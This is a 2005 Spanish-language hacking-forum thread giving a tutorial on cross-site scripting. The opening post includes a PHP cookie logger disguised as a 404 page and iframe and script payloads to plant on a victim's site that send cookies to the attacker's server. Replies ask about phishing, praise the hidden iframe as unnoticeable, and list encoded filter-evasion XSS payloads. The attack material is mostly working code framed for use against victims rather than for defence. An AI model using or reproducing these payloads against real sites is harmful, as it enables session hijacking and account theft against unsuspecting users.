elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 20:49  


Tema destacado: ¡Aprende hacking con práctica! - WarZone, el wargame de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Pequeña guia de XSS con javascript.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Pequeña guia de XSS con javascript.  (Leído 6,638 veces)
mousehack


Desconectado Desconectado

Mensajes: 1.142

Ex-Colaborador....!!!!!!XD


Ver Perfil
Pequeña guia de XSS con javascript.
« en: 29 Noviembre 2005, 04:37 »

El javascript, si está integrado en un browser Web, se conecta con una interfaz DOM (Document Object Model) con las aplicaciones, especialmente con el lado del server (web server) y con el cliente (browser) en Internet.
Muchos sitios web utilizan la tecnologia javascript para crear una aplicacion web dinamica.

XSS
Con el uso del lenguaje scripting del lado del servidor como el PHP,comenzaron algunos problemas, para explicarlo mejor creamos un script PHP:

Código:
<?php
$var = $_GET['mensaje'];
echo "$var";
?>

si probamos lo siguiente:

http://127.0.0.1/xss.php?mensaje=Hola

veremos una pagina blanca con la escritura ¨Hola¨, si probamos tambien:

http://127.0.0.1/xss.php?mensaje=<b>Hola</b>

veremos la misma pagina, pero ahora con la palabra ¨Hola¨en negritas, en cambio cuando utilizamos javascript la cosa cambia:

http://127.0.0.1/xss.php?mensaje=<script>alert("Hola!")</script>

en este caso nos aparece una ventana de javascript.
Aprovechandos de las ventajas que brindan las paginas susceptibles a esta vulnerabilidad es posible ejecutar en el browser del visitante el codigo javascript que querramos.Esta tecnica se denomina ¨Cross Site Scripting¨ o mas vulgarmente por sus siglas ¨XSS¨.Veamos una aplicacion practica utilizando lo que se conoce como "Cookie Stealing" o comunmente ¨robo de cookie¨, alguien se preguntara para que sirve esto??? pues para hacernos de informacion del usuario tal como username y password de un sitio determinado, veamos...

Cookie Stealing

Para robar una cookie utilizaremos "document.cookie", "document.location" del javascript?? pues esto por si solo NO, ya que recuerden que el javascript actua en el browser del usuario, por lo tanto necesitamos guardar las cookie en algun lado, para ello utilizamos javascript con algo de PHP, veamos como seria:

a)creamos un archivo .PHP con el siguiente codigo en nuestro server:

Código:
<html>
<head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>

<?php
$capo = "\n";
$_GET['data'] = $data;
$fh = fopen("cookie.txt",'a+');
fwrite($fh, "$data");
fwrite($fh, "$capo");
fclose($fh);
?>

<p>The requested URL was not found on this server.</p>
</body></html>

quedaria como:

http://www.nuestrositio.com/cookie.php

b)creamos un archivo .txt en nuestro server y le damos permiso de escritura (chmod 777)

http.//www.nuestrositio.com/cookie.txt

c)introducimos lo siguiente en el sitio de nuestra victima:

Código:
<iframe width="0" height="0" frameborder="0" src="javascript:document.location='http://www.nuestrositio.com/cookie.php?data=P_'+window.parent.document.location+' C_'+ window.parent.document.cookie;"></iframe>

o

Código:
<script> window.location="http://www.nuestrositio.com/cookie.php?data="+window.parent.document.location+window.parent.document.cookie </script>

Otros Usos

Utilizando "window.location" de javascript podemos redireccionar a la victima al sitio que querramos:
Código:
<BODY onload= window.location="http://www.google.com">

o podriamos utilizar el reciente bug de IE:
Código:
<body onLoad="window()">
links de Interes:
http://www.php.net -sitio oficial de PHP
http://www.owasp.org  -Open Web Application Security Project, muy util
http://livehttpheaders.mozdev.org -Un plugin para firefox,que permite modificar GET y POST, particularmente util para testear webs y descubrir bugs

Salu2

Mousehack
En línea



VISITEN MI BLOG PERSONAL....
http://mousehack.blogspot.com/ ...XD
Man-In-the-Middle
Colaborador
***
Desconectado Desconectado

Mensajes: 3.645



Ver Perfil
Re: Pequeña guia de XSS con javascript.
« Respuesta #1 en: 29 Noviembre 2005, 15:58 »

Bueno, ya tengo CLARO este tema, y como se puede hacer un pishing con esta tecnica??
En línea
Rentero
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.163


La paciencia es la madre de la ciencia.


Ver Perfil
Re: Pequeña guia de XSS con javascript.
« Respuesta #2 en: 29 Noviembre 2005, 18:14 »

Mas:

[::Tutorial::] - Ataques XSS
http://foro.elhacker.net/index.php/topic,32042.0.html

XSS-Faq
http://www.telefonica.net/web/espaiwebfacultat/xss-faq.zip

XSS-Ataques
http://www.telefonica.net/web/espaiwebfacultat/XSS_evolucion.zip
« Última modificación: 29 Noviembre 2005, 18:16 por Rentero » En línea

Firmado.
Isirius
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.492



Ver Perfil
Re: Pequeña guia de XSS con javascript.
« Respuesta #3 en: 30 Noviembre 2005, 16:11 »

Muy bueno Gracias.
En línea
Support

Desconectado Desconectado

Mensajes: 29


Ver Perfil
Re: Pequeña guia de XSS con javascript.
« Respuesta #4 en: 30 Noviembre 2005, 17:57 »

muy buena guia.gracias

feliz Vida!
En línea
oRTNZ


Desconectado Desconectado

Mensajes: 808


no no soy malo... soy vicioso :p


Ver Perfil
Re: Pequeña guia de XSS con javascript.
« Respuesta #5 en: 30 Noviembre 2005, 18:10 »

Solo un cometario mas, para esconder en algo la url,digo asi creo que algun entendido en html, es muy facil de saber lo que estamos linkeando ,por su parte neohex=Rentero  :P, hablo alguillo mas, si por favor mousehack, podrias explicar mas, saludos
En línea

(31 del 12 de 2005) un dia que recuerdo siempre! :p
(03 del 08 de 2006) otro dia que lo recordare siempre...
Si eres Peruano, QUEDATE y si quieres ser de segunda mano del pais que fueras, pues LARGATE Y NO REGRESES...
orphen_nb

Desconectado Desconectado

Mensajes: 133


Ver Perfil
Re: Pequeña guia de XSS con javascript.
« Respuesta #6 en: 30 Noviembre 2005, 20:00 »

Si te refieres a que no se vea que se redirecciona a tu web, con:
Código:
<iframe width="0" height="0" frameborder="0" src="javascript:document.location='http://www.nuestrositio.com/cookie.php?data=P_'+window.parent.document.location+' C_'+ window.parent.document.cookie;"></iframe>

posiblemente nadie se daría cuenta de que redirecciona a su web a no ser que mire el codigo fuente...
En línea

Human knowledge belongs to the world
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Pequeña guia de XSS con javascript.
« Respuesta #7 en: 30 Noviembre 2005, 22:45 »

Pues solo para agregar, normalemente no son tontos, y filtran este tipo de tags.. pero...
con pequeñas modificaciones, como:
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG SRC=`javascript:alert("'XSS'")`>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
<IMG SRC="jav&#x0D;ascript:alert('XSS');">

o inlcuso un..
<IMG
SRC
=
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
"
>

entre otros, pueden ser colocados e interpretados por el navegador como codigo.
un ejemplo es el gusano de MySpace, que pues se aprovecho de esta vulnerabilidad, para mas ejemplos, y un gran recopilatorio de scripts que son interpretados por navegadores.. entren a: http://ha.ckers.org/xss.html

<iframe src=javascript:alert('XSS');>

Saludos!!

PD. GMail es vulnerable a una modificacion de estos codigos, y ya fue reportado, yo no lo descubrí, ni anelkaos, un amigo me lo demostro.. aun HOY no está parcheado, imaginen, antes habrias podido tener acceso completo a la cuenta porque si robabas la cookie tenias acceso de (ahora ya no.. esta parcheado desde principios de año), pero no le quita lo interesante, me preguntaran, ¿porque buscan tantos errores en GMail?, porque es beta, y esta basado muy fuertemente en javascript, lo que nos da esperanzas :D porque mucho codigo es 'leible')
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines